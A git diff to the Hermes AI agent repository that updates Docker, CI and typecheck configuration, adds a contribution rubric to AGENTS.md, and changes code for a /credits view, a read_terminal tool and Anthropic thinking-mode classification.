diff --git a/.dockerignore b/.dockerignore
index ee3947b2533a..f6fbbc9f137c 100644
--- a/.dockerignore
+++ b/.dockerignore
@@ -63,3 +63,45 @@ data/
# Compose/profile runtime state (bind-mounted; avoid ownership/secret issues)
hermes-config/
runtime/
+
+# ---------- Not needed inside the Docker image ----------
+
+# Desktop app source (Tauri/Electron); never installed in the container
+apps/
+
+# Test suite — not shipped in production images
+tests/
+
+# Documentation site (Docusaurus) and supplementary docs
+website/
+docs/
+
+# Assets only used by the GitHub README
+assets/
+infographic/
+
+# Plugin-level docs (hermes-achievements ships docs/ but the runtime doesn't read them)
+plugins/hermes-achievements/docs/
+
+# Nix / Homebrew / AUR packaging metadata — irrelevant to Docker
+nix/
+flake.nix
+flake.lock
+packaging/
+
+# Design and planning documents
+plans/
+.plans/
+
+# ACP registry manifest (icon + agent.json) — not consumed at runtime
+acp_registry/
+
+# Repo-level dotfiles that are git-only or dev-tooling config
+.env.example
+.envrc
+.gitattributes
+.hadolint.yaml
+.mailmap
+
+# Top-level LICENSE (not matched by *.md); not needed inside the container
+LICENSE
diff --git a/.github/pr-screenshots/telegram-overflow/topic-final-response-clipped.jpg b/.github/pr-screenshots/telegram-overflow/topic-final-response-clipped.jpg
new file mode 100644
index 000000000000..2f3529648e79
Binary files /dev/null and b/.github/pr-screenshots/telegram-overflow/topic-final-response-clipped.jpg differ
diff --git a/.github/workflows/deploy-site.yml b/.github/workflows/deploy-site.yml
index 9b3e6426652c..5b3c61db8fb3 100644
--- a/.github/workflows/deploy-site.yml
+++ b/.github/workflows/deploy-site.yml
@@ -44,7 +44,7 @@ jobs:
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4
with:
- node-version: 20
+ node-version: 22
cache: npm
cache-dependency-path: website/package-lock.json
diff --git a/.github/workflows/docs-site-checks.yml b/.github/workflows/docs-site-checks.yml
index 49111b5ac095..7001c0b74393 100644
--- a/.github/workflows/docs-site-checks.yml
+++ b/.github/workflows/docs-site-checks.yml
@@ -18,7 +18,7 @@ jobs:
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4
with:
- node-version: 20
+ node-version: 22
cache: npm
cache-dependency-path: website/package-lock.json
diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml
index 2755641073a1..cc7d099fd934 100644
--- a/.github/workflows/tests.yml
+++ b/.github/workflows/tests.yml
@@ -55,15 +55,31 @@ jobs:
- name: Install uv
uses: astral-sh/setup-uv@d4b2f3b6ecc6e67c4457f6d3e41ec42d3d0fcb86 # v5
+ with:
+ # Persist uv's download/wheel cache (~/.cache/uv) across runs.
+ # Keyed on the dependency manifests, so the cache is reused until
+ # pyproject.toml or uv.lock changes. `uv sync` still runs every
+ # time, but resolves from the warm cache instead of re-downloading
+ # and re-building wheels.
+ enable-cache: true
+ cache-dependency-glob: |
+ pyproject.toml
+ uv.lock
- name: Set up Python 3.11
run: uv python install 3.11
- name: Install dependencies
- run: |
- uv venv .venv --python 3.11
- source .venv/bin/activate
- uv pip install -e ".[all,dev]"
+ # `uv sync --locked` installs the exact pinned set from uv.lock (and
+ # fails if the lock is out of sync with pyproject.toml), giving a
+ # reproducible env. It also creates .venv itself, so no separate
+ # `uv venv` step is needed.
+ run: uv sync --locked --python 3.11 --extra all --extra dev
+
+ - name: Minimize uv cache
+ # Optimized for CI: prunes pre-built wheels that are cheap to
+ # re-download, keeping the persisted cache small and fast to restore.
+ run: uv cache prune --ci
- name: Run tests (slice ${{ matrix.slice }}/6)
# Per-file isolation via scripts/run_tests_parallel.py: discovers
@@ -161,15 +177,31 @@ jobs:
- name: Install uv
uses: astral-sh/setup-uv@d4b2f3b6ecc6e67c4457f6d3e41ec42d3d0fcb86 # v5
+ with:
+ # Persist uv's download/wheel cache (~/.cache/uv) across runs.
+ # Keyed on the dependency manifests, so the cache is reused until
+ # pyproject.toml or uv.lock changes. `uv sync` still runs every
+ # time, but resolves from the warm cache instead of re-downloading
+ # and re-building wheels.
+ enable-cache: true
+ cache-dependency-glob: |
+ pyproject.toml
+ uv.lock
- name: Set up Python 3.11
run: uv python install 3.11
- name: Install dependencies
- run: |
- uv venv .venv --python 3.11
- source .venv/bin/activate
- uv pip install -e ".[all,dev]"
+ # `uv sync --locked` installs the exact pinned set from uv.lock (and
+ # fails if the lock is out of sync with pyproject.toml), giving a
+ # reproducible env. It also creates .venv itself, so no separate
+ # `uv venv` step is needed.
+ run: uv sync --locked --python 3.11 --extra all --extra dev
+
+ - name: Minimize uv cache
+ # Optimized for CI: prunes pre-built wheels that are cheap to
+ # re-download, keeping the persisted cache small and fast to restore.
+ run: uv cache prune --ci
- name: Packaged-wheel i18n smoke test
run: |
diff --git a/.github/workflows/typecheck.yml b/.github/workflows/typecheck.yml
new file mode 100644
index 000000000000..f3dcc71efdb4
--- /dev/null
+++ b/.github/workflows/typecheck.yml
@@ -0,0 +1,25 @@
+# .github/workflows/typecheck.yml
+name: Typecheck
+
+on:
+ push:
+ branches: [main]
+ pull_request:
+ branches: [main]
+
+jobs:
+ typecheck:
+ runs-on: ubuntu-latest
+ strategy:
+ matrix:
+ package:
+ [ui-tui, web, apps/bootstrap-installer, apps/desktop, apps/shared]
+ fail-fast: false # report all failures, not just the first one
+ steps:
+ - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+ - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4
+ with:
+ node-version: 22
+ cache: npm
+ - run: npm ci
+ - run: npm run --prefix ${{ matrix.package }} typecheck
diff --git a/.gitignore b/.gitignore
index 1efce4b83f1a..2935832db3be 100644
--- a/.gitignore
+++ b/.gitignore
@@ -89,6 +89,9 @@ website/static/api/skills-index.json
# every build).
website/static/api/skills.json
website/static/api/skills-meta.json
+# automation-blueprints-index.json is a build artifact emitted by
+# website/scripts/extract-automation-blueprints.py during prebuild.
+website/static/api/automation-blueprints-index.json
models-dev-upstream/
# Local editor / agent tooling (machine-specific; keep in global config, not the repo)
@@ -114,6 +117,12 @@ docs/superpowers/*
# treat it as a local edit and autostash it on every run (#38529).
.hermes-bootstrap-complete
+# Interrupted-update breadcrumb + recovery lock written next to the shared venv
+# by `hermes update` / launch-time self-heal. Runtime state, never a code change
+# — ignore so `git status` stays clean and update's autostash skips them.
+.update-incomplete
+.update-incomplete.lock
+
# Tool Search live-test harness output — non-deterministic model transcripts,
# regenerated by scripts/tool_search_livetest.py. Never an artifact of the repo.
scripts/out/
diff --git a/AGENTS.md b/AGENTS.md
index 15cd7536ef13..e032f7654474 100644
--- a/AGENTS.md
+++ b/AGENTS.md
@@ -4,6 +4,201 @@ Instructions for AI coding assistants and developers working on the hermes-agent
**Never give up on the right solution.**
+## What Hermes Is
+
+Hermes is a personal AI agent that runs the same agent core across a CLI, a
+messaging gateway (Telegram, Discord, Slack, and ~20 other platforms), a TUI,
+and an Electron desktop app. It learns across sessions (memory + skills),
+delegates to subagents, runs scheduled jobs, and drives a real terminal and
+browser. It is extended primarily through **plugins and skills**, not by
+growing the core.
+
+Two properties shape almost every design decision and are the lens for
+reviewing any change:
+
+- **Per-conversation prompt caching is sacred.** A long-lived conversation
+ reuses a cached prefix every turn. Anything that mutates past context,
+ swaps toolsets, or rebuilds the system prompt mid-conversation invalidates
+ that cache and multiplies the user's cost. We do not do it (the one
+ exception is context compression).
+- **The core is a narrow waist; capability lives at the edges.** Every model
+ tool we add is sent on every API call, so the bar for a new *core* tool is
+ high. Most new capability should arrive as a CLI command + skill, a
+ service-gated tool, or a plugin — not as core surface.
+
+## Contribution Rubric — What We Want / What We Don't
+
+This is the project's intent layer. Use it two ways:
+
+1. **For humans and for your own work** — what gets merged and what gets
+ rejected, so a contribution aims at the target.
+2. **For automated review (the triage sweeper)** — guidance on when a PR is
+ safe to close on the three allowed reasons (`implemented_on_main`,
+ `cannot_reproduce`, `incoherent`) and, just as important, **when NOT to
+ close** one. Taste-based "we don't want this / out of scope" closes are NOT
+ an automated decision — those stay with a human maintainer. The sweeper's
+ job here is to recognize design intent and *avoid wrongly closing a
+ legitimate contribution*, not to make the won't-implement call itself.
+
+Read the balance right: Hermes ships a **lot** — most merges are bug fixes to
+real reported behavior, and the product surface (platforms, channels,
+providers, models, desktop/TUI features) expands aggressively and on purpose.
+The restraint below is aimed squarely at the **core agent + the model tool
+schema**, the one place where every addition is paid for on every API call.
+"Smallest footprint" governs *how a capability is wired into the core*, NOT
+whether the product is allowed to grow. We are expansive at the edges and
+conservative at the waist.
+
+### What we want
+
+- **Fix real bugs, well.** The bulk of what lands is `fix(...)` against an
+ actual reported symptom. A good fix reproduces the symptom on current
+ `main`, points to the exact line where it manifests, and fixes the whole bug
+ class — sibling call paths included — not just the one site the reporter hit.
+- **Expand reach at the edges.** New platform adapters, channels, providers,
+ models, and desktop/TUI/dashboard features are welcome and land routinely,
+ including large ones (a new messaging channel, a session-cap feature, a
+ Windows PTY bridge). Breadth in the product is a goal, not a footprint
+ concern — as long as it integrates with the existing setup/config UX
+ (`hermes tools`, `hermes setup`, auto-install) rather than bolting on a raw
+ env var.
+- **Refactor god-files into clean modules.** Extracting a multi-thousand-line
+ cluster out of `cli.py` / `run_agent.py` / `gateway/run.py` into a focused
+ mixin or module is wanted work, even when the diff is huge and mechanical
+ (large `+N/-N` refactors merge regularly). The "every line traces to the
+ request" test applies to *feature* PRs; a declared refactor's request IS the
+ extraction.
+- **Keep the core narrow.** New *model tools* are the expensive exception —
+ every tool ships on every API call. Prefer, in order: extend existing code →
+ CLI command + skill → service-gated tool (`check_fn`) → plugin → MCP server
+ in the catalog → new core tool (last resort). See "The Footprint Ladder."
+- **Extend, don't duplicate.** Before adding a module/manager/hook, check
+ whether existing infrastructure already covers the use case. When several PRs
+ integrate the same *category*, design one shared interface instead of merging
+ them one at a time (see the ABC + orchestrator note under the Footprint
+ Ladder).
+- **Behavior contracts over snapshots.** Tests should assert how two pieces of
+ data must relate (invariants), not freeze a current value (model lists,
+ config version literals, enumeration counts). See "Don't write
+ change-detector tests."
+- **E2E validation, not just green unit mocks.** For anything touching
+ resolution chains, config propagation, security boundaries, remote
+ backends, or file/network I/O, exercise the real path with real imports
+ against a temp `HERMES_HOME`. Mocks hide integration bugs.
+- **Cache-, alternation-, and invariant-safe.** Preserve prompt caching, strict
+ message role alternation (never two same-role messages in a row; never a
+ synthetic user message injected mid-loop), and a system prompt that is
+ byte-stable for the life of a conversation.
+- **Contributor credit preserved.** Salvage external work by cherry-picking
+ (rebase-merge) so authorship survives in git history; don't reimplement from
+ scratch when you can build on top.
+
+### What we don't want (rejected even when well-built)
+
+- **Speculative infrastructure.** Hooks, callbacks, or extension points with no
+ concrete consumer. Adding a hook is easy; removing one after plugins depend
+ on it is hard. A hook is NOT speculative if a contributor has a real, stated
+ use case — even if the consumer ships separately.
+- **New `HERMES_*` env vars for non-secret config.** `.env` is for secrets
+ only (API keys, tokens, passwords). All behavioral settings — timeouts,
+ thresholds, feature flags, display prefs — go in `config.yaml`. Bridge to an
+ internal env var if the mechanism needs one, but user-facing docs point to
+ `config.yaml`. Reject PRs that tell users to "set X in your .env" unless X
+ is a credential.
+- **A new core tool when terminal + file already do the job, or when a skill
+ would.** If the only barrier is file visibility on a remote backend, fix the
+ mount, not the toolset.
+- **Lazy-reading escape hatches on instructional tools.** No `offset`/`limit`
+ pagination on tools that load content the agent must read fully (skills,
+ prompts, playbooks). Models will read page 1 and skip the rest.
+- **"Fixes" that destroy the feature they secure.** A mitigation that kills the
+ feature's purpose is the wrong mitigation. Read the original commit's intent
+ (`git log -p -S`) before restricting behavior; find a fix that preserves the
+ feature.
+- **Outbound telemetry / usage attribution without opt-in gating.** No new
+ analytics, third-party identifier tagging, or attribution tags until a
+ generic user-facing opt-in (config gate + setup prompt + `hermes tools`
+ toggle) exists. Park behind a label, do not merge.
+- **Change-detector tests, cache-breaking mid-conversation, dead code wired in
+ without E2E proof, and plugins that touch core files.** Plugins live in their
+ own directory and work within the ABCs/hooks we provide; if a plugin needs
+ more, widen the generic plugin surface, don't special-case it in core.
+
+### Before you call it a bug — verify the premise (and when NOT to close)
+
+The most common reason a well-written PR gets closed is not code quality — it
+is that the change is built on a **wrong premise**, or it treats an
+**intentional design as a gap**. These patterns cut both ways: they tell a
+human reviewer what to scrutinize, and they tell the automated sweeper when a
+PR is NOT safe to close as `implemented_on_main` / `cannot_reproduce` (when in
+doubt, leave it open for a human). They are distilled from real closes.
+
+- **"Intentional design, not a gap."** A limitation that looks like an
+ oversight is often deliberate. Before "fixing" a missing link or a
+ restriction, ask whether the isolation IS the design. Example: profiles are
+ independent islands on purpose — a PR adding live config inheritance from the
+ default profile was closed because coupling profiles together is exactly what
+ the design prevents (the copy-at-creation `--clone` path already covers the
+ legitimate "start from my default" case). Read the original commit's intent
+ (`git log -p -S ""`) before assuming something is unfinished.
+- **"The premise doesn't hold against how X actually works."** A PR's
+ justification frequently rests on a wrong mental model of an existing
+ mechanism. Trace the real code/runtime before accepting the rationale. Two
+ real closes: a rate-limit "re-probe during cooldown" PR (the breaker only
+ trips on a *confirmed-empty* account bucket, so re-probing just hammers a
+ bucket we've already proven empty); a usage-accumulation fix whose new branch
+ **never executes at runtime** because an earlier guard already popped the
+ state it depended on. If you can't point to the exact line where the bug
+ manifests AND show the fix changes that line's behavior, you haven't verified
+ the premise.
+- **"This fix was wrong — the absence/omission was deliberate."** Adding the
+ obvious-looking missing piece can break things the omission was protecting.
+ Example: restoring "missing" `__init__.py` files made a test tree importable
+ as a dotted package that shadowed the real plugin, deleting its `register()`
+ at import time. The absence was load-bearing.
+- **"Overreached / resurrected an approach we'd moved past."** Scope creep that
+ supersedes an agreed-on base, or revives a direction the maintainers
+ deliberately closed, gets rejected even when the code works. Keep the change
+ to the narrow piece that was actually agreed; offer the rest as a focused
+ follow-up.
+
+The throughline: **verify the claim AND the intent against the codebase before
+writing or merging a fix.** A confirmed reproduction on current `main` plus a
+line-level account of where the fix acts beats a plausible-sounding rationale
+every time. When in doubt about intent, it is cheaper to ask than to ship a
+fix that fights the design.
+
+### The Footprint Ladder (new capability decision)
+
+Each rung adds more permanent surface than the one above. Choose the highest
+(least-footprint) rung that correctly solves the problem:
+
+1. **Extend existing code** — the capability is a variation of something that
+ already exists. Zero new surface.
+2. **CLI command + skill** — manages config/state/infra expressible as shell
+ commands. The agent runs `hermes ` guided by a skill. Zero
+ model-tool footprint. Default choice for subscriptions, scheduled tasks,
+ service setup. Examples: `hermes webhook`, `hermes cron`, `hermes tools`.
+3. **Service-gated tool (`check_fn`)** — needs structured params/returns AND
+ only appears when a prerequisite is configured. Zero footprint otherwise.
+ Examples: Home Assistant tools (gated on token), memory-provider tools.
+4. **Plugin** — third-party/niche/user-specific capability that doesn't ship in
+ core. Lives in `~/.hermes/plugins/` or a pip package, discovered at runtime.
+5. **MCP server (in the catalog)** — if the capability genuinely needs to be a
+ tool (structured I/O the agent invokes) but isn't core-fundamental, prefer
+ building it as an MCP server and adding it to the MCP catalog over growing
+ the core toolset. The agent connects to it through the built-in MCP client;
+ zero permanent core-schema footprint, and it's reusable by any MCP host.
+6. **New core tool** — only when the capability is fundamental, broadly useful
+ to nearly every user, and unreachable via terminal + file (or an MCP server).
+ Examples of correct core tools: terminal, read_file, web_search,
+ browser_navigate.
+
+When 3+ open PRs try to integrate the same *category* of thing (memory
+backends, providers, notifiers), don't merge them one at a time — design an
+ABC + orchestrator, wrap the existing built-in as the first provider, and turn
+the competing PRs into plugins against that interface.
+
## Development Environment
```bash
@@ -264,7 +459,7 @@ npm install # first time
npm run dev # watch mode (rebuilds hermes-ink + tsx --watch)
npm start # production
npm run build # full build (hermes-ink + tsc)
-npm run type-check # typecheck only (tsc --noEmit)
+npm run typecheck # typecheck only (tsc --noEmit)
npm run lint # eslint
npm run fmt # prettier
npm test # vitest
@@ -302,9 +497,11 @@ A **separate** chat surface from both the classic CLI and the dashboard's embedd
## Adding New Tools
-For most custom or local-only tools, do **not** edit Hermes core. Use the plugin
-route instead: create `~/.hermes/plugins//plugin.yaml` and
-`~/.hermes/plugins//__init__.py`, then register tools with
+Before adding any tool, settle the footprint question first (see "The
+Footprint Ladder" in the Contribution Rubric): most capabilities should NOT
+be core tools. For custom or local-only tools, do **not** edit Hermes core.
+Use the plugin route instead: create `~/.hermes/plugins//plugin.yaml`
+and `~/.hermes/plugins//__init__.py`, then register tools with
`ctx.register_tool(...)`. Plugin toolsets are discovered automatically and can be
enabled or disabled without touching `tools/` or `toolsets.py`.
diff --git a/Dockerfile b/Dockerfile
index 92522c5c41a1..be358ac53439 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -25,7 +25,7 @@ ENV PLAYWRIGHT_BROWSERS_PATH=/opt/hermes/.playwright
# hermes process, the dashboard, and per-profile gateways.
RUN apt-get update && \
apt-get install -y --no-install-recommends \
- ca-certificates curl iputils-ping python3 python-is-python3 ripgrep ffmpeg gcc python3-dev python3-venv libffi-dev libolm-dev procps git openssh-client docker-cli xz-utils && \
+ ca-certificates curl iputils-ping python3 python-is-python3 ripgrep ffmpeg gcc g++ make cmake python3-dev python3-venv libffi-dev libolm-dev procps git openssh-client docker-cli xz-utils && \
rm -rf /var/lib/apt/lists/*
# ---------- s6-overlay install ----------
@@ -146,9 +146,9 @@ RUN npm install --prefer-offline --no-audit && \
#
# `uv sync --frozen --no-install-project --extra all --extra messaging`
# installs the deps reachable through the composite `[all]` extra
-# (handpicked set intended for the production image), plus gateway
-# messaging adapters that should work in the published image without a
-# first-boot lazy install. We do NOT use `--all-extras`:
+# (handpicked set intended for the production image — excludes `[dev]`),
+# plus gateway messaging adapters that should work in the published image
+# without a first-boot lazy install. We do NOT use `--all-extras`:
# that would pull in `[rl]` (atroposlib + tinker + torch + wandb from
# git), `[yc-bench]` (another git dep), and `[termux-all]` (Android
# redundancy), none of which belong in the published container.
@@ -164,19 +164,30 @@ RUN npm install --prefer-offline --no-audit && \
# image update and recall/retain then fails with
# `ModuleNotFoundError: No module named 'hindsight_client'` (#38128).
#
+# The Matrix gateway's deps ([matrix] extra) are baked in because
+# python-olm (transitive via mautrix[encryption]) builds from source on
+# Python/image combinations without usable wheels. The Docker image is
+# Linux-only, so keeping the native libolm/build-toolchain packages here
+# avoids the cross-platform failures that kept [matrix] out of [all]
+# while still making Matrix work in the published container. Fixes #30399.
+#
# The editable link is created after the source copy below.
COPY pyproject.toml uv.lock ./
RUN touch ./README.md
-RUN uv sync --frozen --no-install-project --extra all --extra messaging --extra anthropic --extra bedrock --extra azure-identity --extra hindsight
+RUN uv sync --frozen --no-install-project --extra all --extra messaging --extra anthropic --extra bedrock --extra azure-identity --extra hindsight --extra matrix
+
+# ---------- Frontend build (cached independently from Python source) ----------
+# Copy only the frontend source trees first so that Python-only changes don't
+# invalidate the (relatively slow) web + ui-tui build layer.
+COPY web/ web/
+COPY ui-tui/ ui-tui/
+RUN cd web && npm run build && \
+ cd ../ui-tui && npm run build
# ---------- Source code ----------
# .dockerignore excludes node_modules, so the installs above survive.
COPY --chown=hermes:hermes . .
-# Build browser dashboard and terminal UI assets.
-RUN cd web && npm run build && \
- cd ../ui-tui && npm run build
-
# ---------- Permissions ----------
# Make install dir world-readable so any HERMES_UID can read it at runtime.
# The venv needs to be traversable too.
diff --git a/MANIFEST.in b/MANIFEST.in
index a6749adc2cf7..5d5a1b1b271b 100644
--- a/MANIFEST.in
+++ b/MANIFEST.in
@@ -1,5 +1,6 @@
graft skills
graft optional-skills
+graft optional-mcps
graft locales
# Bundled plugin manifests (plugin.yaml / plugin.yml). Without these the
# PluginManager scan (hermes_cli/plugins.py) finds zero plugins on installs
diff --git a/README.md b/README.md
index a8db8cb2c29b..b65a11baf8fa 100644
--- a/README.md
+++ b/README.md
@@ -3,7 +3,9 @@
# Hermes Agent ☤
-
+
+ Hermes Agent | Hermes Desktop
+
diff --git a/agent/account_usage.py b/agent/account_usage.py
index 2795eb24125a..da02af3c478c 100644
--- a/agent/account_usage.py
+++ b/agent/account_usage.py
@@ -145,7 +145,7 @@ def build_nous_credits_snapshot(account_info) -> Optional[AccountUsageSnapshot]:
account info to show (fail-open: caller just shows nothing).
"""
try:
- from hermes_cli.nous_account import nous_portal_billing_url
+ from hermes_cli.nous_account import nous_portal_topup_url
if account_info is None or not getattr(account_info, "logged_in", False):
return None
@@ -213,7 +213,8 @@ def build_nous_credits_snapshot(account_info) -> Optional[AccountUsageSnapshot]:
if not windows and not details:
return None
- details.append(f"Manage / top up: {nous_portal_billing_url(account_info)}")
+ details.append(f"Top up: {nous_portal_topup_url(account_info)}")
+ details.append("(or run /credits)")
plan = getattr(sub, "plan", None) if sub is not None else None
return AccountUsageSnapshot(
@@ -337,6 +338,93 @@ def _snapshot_from_credits_state(state) -> Optional[AccountUsageSnapshot]:
return None
+@dataclass(frozen=True)
+class CreditsView:
+ """Surface-agnostic data for the ``/credits`` command.
+
+ One portal fetch, one parse — consumed identically by the CLI panel, the
+ gateway button, and any other money surface. Fail-open: when not logged in
+ or the portal is unreachable, ``logged_in`` is False / ``topup_url`` is None
+ and callers degrade gracefully.
+ """
+
+ logged_in: bool
+ balance_lines: tuple[str, ...] = ()
+ identity_line: Optional[str] = None
+ topup_url: Optional[str] = None
+ depleted: bool = False
+
+
+def build_credits_view(*, markdown: bool = False, timeout: float = 10.0) -> CreditsView:
+ """Build the /credits view: balance block + identity line + top-up URL.
+
+ Reuses the same account fetch + snapshot + URL builder as the /usage credits
+ block, so the numbers always match. The balance block is the rendered
+ snapshot MINUS its trailing top-up/command-hint lines (the /credits surface
+ supplies its own affordance). Fail-open → ``CreditsView(logged_in=False)``.
+ """
+ not_logged_in = CreditsView(logged_in=False)
+ try:
+ from hermes_cli.auth import get_provider_auth_state
+
+ tok = (get_provider_auth_state("nous") or {}).get("access_token")
+ if not (isinstance(tok, str) and tok.strip()):
+ return not_logged_in
+ except Exception:
+ return not_logged_in
+
+ try:
+ import concurrent.futures
+
+ from hermes_cli.nous_account import (
+ get_nous_portal_account_info,
+ nous_portal_topup_url,
+ )
+
+ with concurrent.futures.ThreadPoolExecutor(max_workers=1) as pool:
+ account = pool.submit(get_nous_portal_account_info, force_fresh=True).result(
+ timeout=timeout
+ )
+ except Exception:
+ logger.debug("credits ▸ /credits portal fetch failed (fail-open)", exc_info=True)
+ return not_logged_in
+
+ if account is None or not getattr(account, "logged_in", False):
+ return not_logged_in
+
+ snapshot = build_nous_credits_snapshot(account)
+ # Balance lines = the snapshot block minus the two trailing affordance lines
+ # ("Top up: " + "(or run /credits)") that build_nous_credits_snapshot
+ # appends for the /usage surface. /credits renders its own button/panel.
+ balance_lines: list[str] = []
+ if snapshot is not None:
+ rendered = render_account_usage_lines(snapshot, markdown=markdown)
+ balance_lines = [
+ line
+ for line in rendered
+ if not line.lstrip().startswith("Top up:")
+ and not line.lstrip().startswith("(or run")
+ ]
+
+ # Identity line — shown before any open (roadmap §4.4).
+ email = getattr(account, "email", None)
+ org_name = getattr(account, "org_name", None)
+ who: list[str] = []
+ if email:
+ who.append(str(email))
+ if org_name:
+ who.append(f"org {org_name}")
+ identity_line = ("Topping up as " + " / ".join(who)) if who else None
+
+ return CreditsView(
+ logged_in=True,
+ balance_lines=tuple(balance_lines),
+ identity_line=identity_line,
+ topup_url=nous_portal_topup_url(account),
+ depleted=getattr(account, "paid_service_access", None) is False,
+ )
+
+
def _resolve_codex_usage_url(base_url: str) -> str:
normalized = (base_url or "").strip().rstrip("/")
if not normalized:
diff --git a/agent/agent_init.py b/agent/agent_init.py
index 30bb6d837053..96bfe3d873f0 100644
--- a/agent/agent_init.py
+++ b/agent/agent_init.py
@@ -187,6 +187,7 @@ def init_agent(
thinking_callback: callable = None,
reasoning_callback: callable = None,
clarify_callback: callable = None,
+ read_terminal_callback: callable = None,
step_callback: callable = None,
stream_delta_callback: callable = None,
interim_assistant_callback: callable = None,
@@ -417,6 +418,7 @@ def init_agent(
agent.thinking_callback = thinking_callback
agent.reasoning_callback = reasoning_callback
agent.clarify_callback = clarify_callback
+ agent.read_terminal_callback = read_terminal_callback
agent.step_callback = step_callback
agent.stream_delta_callback = stream_delta_callback
agent.interim_assistant_callback = interim_assistant_callback
diff --git a/agent/agent_runtime_helpers.py b/agent/agent_runtime_helpers.py
index f9bfb7a4319e..742af1453807 100644
--- a/agent/agent_runtime_helpers.py
+++ b/agent/agent_runtime_helpers.py
@@ -49,7 +49,7 @@ def _ra():
AGENT_RUNTIME_POST_HOOK_TOOL_NAMES = frozenset(
- {"todo", "session_search", "memory", "clarify", "delegate_task"}
+ {"todo", "session_search", "memory", "clarify", "read_terminal", "delegate_task"}
)
@@ -679,15 +679,28 @@ def recover_with_credential_pool(
# long-running TUI sessions stuck on stale tokens until the user
# exited and reopened.
is_entitlement = agent._is_entitlement_failure(error_context, status_code)
+ _auth_haystack = " ".join(
+ str(error_context.get(k) or "").lower()
+ for k in ("message", "reason", "code", "error")
+ if isinstance(error_context, dict)
+ )
+ if (
+ not is_entitlement
+ and status_code == 403
+ and "oauth authentication is currently not allowed for this organization" in _auth_haystack
+ ):
+ is_entitlement = True
+ if (
+ not is_entitlement
+ and status_code == 403
+ and (agent.provider or "") == "anthropic"
+ and getattr(agent, "api_mode", "") == "anthropic_messages"
+ ):
+ is_entitlement = True
if not is_entitlement and status_code == 403 and (agent.provider or "") == "xai-oauth":
- _disambiguator_haystack = " ".join(
- str(error_context.get(k) or "").lower()
- for k in ("message", "reason", "code", "error")
- if isinstance(error_context, dict)
- )
_is_xai_auth_failure = (
- "[wke=unauthenticated:" in _disambiguator_haystack
- or "oauth2 access token could not be validated" in _disambiguator_haystack
+ "[wke=unauthenticated:" in _auth_haystack
+ or "oauth2 access token could not be validated" in _auth_haystack
)
if not _is_xai_auth_failure:
is_entitlement = True
@@ -1784,6 +1797,17 @@ def _execute(next_args: dict) -> Any:
),
next_args,
)
+ elif function_name == "read_terminal":
+ def _execute(next_args: dict) -> Any:
+ from tools.read_terminal_tool import read_terminal_tool as _read_terminal_tool
+ return _finish_agent_tool(
+ _read_terminal_tool(
+ start_line=next_args.get("start_line"),
+ count=next_args.get("count"),
+ callback=getattr(agent, "read_terminal_callback", None),
+ ),
+ next_args,
+ )
elif function_name == "delegate_task":
def _execute(next_args: dict) -> Any:
return _finish_agent_tool(agent._dispatch_delegate_task(next_args), next_args)
diff --git a/agent/anthropic_adapter.py b/agent/anthropic_adapter.py
index 389b21831fb5..8476ef67f57f 100644
--- a/agent/anthropic_adapter.py
+++ b/agent/anthropic_adapter.py
@@ -73,20 +73,50 @@ def _get_anthropic_sdk():
"minimal": "low",
}
-# Models that accept the "xhigh" output_config.effort level. Opus 4.7 added
-# xhigh as a distinct level between high and max; older adaptive-thinking
-# models (4.6) reject it with a 400. Keep this substring list in sync with
-# the Anthropic migration guide as new model families ship.
-_XHIGH_EFFORT_SUBSTRINGS = ("4-7", "4.7", "4-8", "4.8")
-
-# Models where extended thinking is deprecated/removed (4.6+ behavior: adaptive
-# is the only supported mode; 4.7 additionally forbids manual thinking entirely
-# and drops temperature/top_p/top_k).
-_ADAPTIVE_THINKING_SUBSTRINGS = ("4-6", "4.6", "4-7", "4.7", "4-8", "4.8")
-
-# Models where temperature/top_p/top_k return 400 if set to non-default values.
-# This is the Opus 4.7 contract; future 4.x+ models are expected to follow it.
-_NO_SAMPLING_PARAMS_SUBSTRINGS = ("4-7", "4.7", "4-8", "4.8")
+# ── Anthropic thinking-mode classification ────────────────────────────
+# Claude 4.6 replaced budget-based extended thinking with *adaptive* thinking,
+# and 4.7 additionally forbids the manual ``thinking`` block entirely and drops
+# temperature/top_p/top_k. Newer Claude releases (4.8, and named models like
+# claude-fable-5) follow the same modern contract — but they share no common
+# version substring, so an allowlist of version numbers ("4.6", "4.7", …) goes
+# stale the moment a model ships without a recognized number and silently
+# routes it down the legacy manual-thinking path.
+#
+# Instead we DEFAULT unknown Claude models to the modern contract and keep an
+# explicit *legacy* list of the older Claude families that still require manual
+# thinking. This mirrors _get_anthropic_max_output's "default to newest" design
+# (future models are unlikely to regress to the older contract), so each new
+# Claude release works without a code change.
+#
+# Non-Claude Anthropic-Messages models (minimax, qwen3, GLM, …) are NOT Claude,
+# so they fall through to the legacy path automatically — exactly what those
+# manual-thinking endpoints need.
+
+# Older Claude families that DON'T support adaptive thinking (manual thinking
+# with budget_tokens only). Substring-matched against the model name.
+_LEGACY_MANUAL_THINKING_CLAUDE_SUBSTRINGS = (
+ "claude-3", # 3, 3.5, 3.7
+ "claude-opus-4-0", "claude-opus-4.0", "claude-opus-4-1", "claude-opus-4.1",
+ "claude-sonnet-4-0", "claude-sonnet-4.0",
+ "claude-opus-4-2025", "claude-sonnet-4-2025", # date-stamped 4.0 IDs
+ "claude-opus-4-5", "claude-opus-4.5",
+ "claude-sonnet-4-5", "claude-sonnet-4.5",
+ "claude-haiku-4-5", "claude-haiku-4.5",
+)
+
+# Older Claude families that DON'T accept the "xhigh" effort level (4.6 only
+# supports low/medium/high/max). xhigh arrived with Opus 4.7. Adaptive models
+# not in this list (4.7, 4.8, fable, future) accept xhigh.
+_NO_XHIGH_CLAUDE_SUBSTRINGS = (
+ "claude-opus-4-6", "claude-opus-4.6",
+ "claude-sonnet-4-6", "claude-sonnet-4.6",
+)
+
+
+def _is_claude_model(model: str | None) -> bool:
+ return "claude" in (model or "").lower()
+
+
_FAST_MODE_SUPPORTED_SUBSTRINGS = ("opus-4-6", "opus-4.6")
# ── Max output token limits per Anthropic model ───────────────────────
@@ -94,6 +124,8 @@ def _get_anthropic_sdk():
# max_tokens as a mandatory field. Previously we hardcoded 16384, which
# starves thinking-enabled models (thinking tokens count toward the limit).
